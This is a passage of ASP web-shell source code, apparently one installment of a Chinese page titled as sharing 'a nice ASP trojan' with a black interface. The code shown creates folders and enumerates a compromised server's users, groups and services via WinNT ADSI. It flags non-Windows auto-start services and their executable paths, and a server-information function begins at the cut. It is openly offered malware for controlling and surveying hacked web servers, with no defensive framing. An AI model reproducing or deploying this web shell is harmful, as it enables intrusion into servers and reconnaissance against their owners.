一款不错的asp木马 黑色界面(7)

Then
                fsoX.CreateFolder(Left(thePath, i - 1))
            End If
            If InStr(Mid(thePath, i + 1), "\") Then
                i = i + Instr(Mid(thePath, i + 1), "\")
             Else
                i = 0
            End If
        Loop
    End Sub
Function Course()
SI="<br><table width='600' bgcolor='menu' border='0' cellspacing='1' 
cellpadding='0' align='center'>"
SI=SI&"<tr><td height='20' colspan='3' align='center' bgcolor='menu'>系
统用户与服务</td></tr>"
on error resume next
for each obj in getObject("WinNT://.")
err.clear
if OBJ.StartType="" then
SI=SI&"<tr>"
SI=SI&"<td height=""20"" bgcolor=""#FFFFFF""> "
SI=SI&obj.Name
SI=SI&"</td><td bgcolor=""#FFFFFF""> " 
SI=SI&"系统用户(组)"
SI=SI&"</td></tr>"
SI0="<tr><td height=""20"" bgcolor=""#FFFFFF"" 
colspan=""2""> </td></tr>" 
end if
if OBJ.StartType=2 then lx="自动"
if OBJ.StartType=3 then lx="手动"
if OBJ.StartType=4 then lx="禁用"
if LCase(mid(obj.path,4,3))<>"win" and OBJ.StartType=2 then
SI1=SI1&"<tr><td height=""20"" 
bgcolor=""#FFFFFF""> "&obj.Name&"</td><td height=""20"" 
bgcolor=""#FFFFFF""> "&obj.DisplayName&"<tr><td height=""20"" 
bgcolor=""#FFFFFF"" colspan=""2"">[启动类型:"&lx&"]<font 
color=#FF0000> "&obj.path&"</font></td></tr>"
else
SI2=SI2&"<tr><td height=""20"" 
bgcolor=""#FFFFFF""> "&obj.Name&"</td><td height=""20"" 
bgcolor=""#FFFFFF""> "&obj.DisplayName&"<tr><td height=""20"" 
bgcolor=""#FFFFFF"" colspan=""2"">[启动类型:"&lx&"]<font 
color=#3399FF> "&obj.path&"</font></td></tr>"
end if
next
RRS SI&SI0&SI1&SI2&"</table>"
End Function
Function ServerInfo()
SI="<br><table width='80%' bgcolor='menu' border='0' cellspacing='1'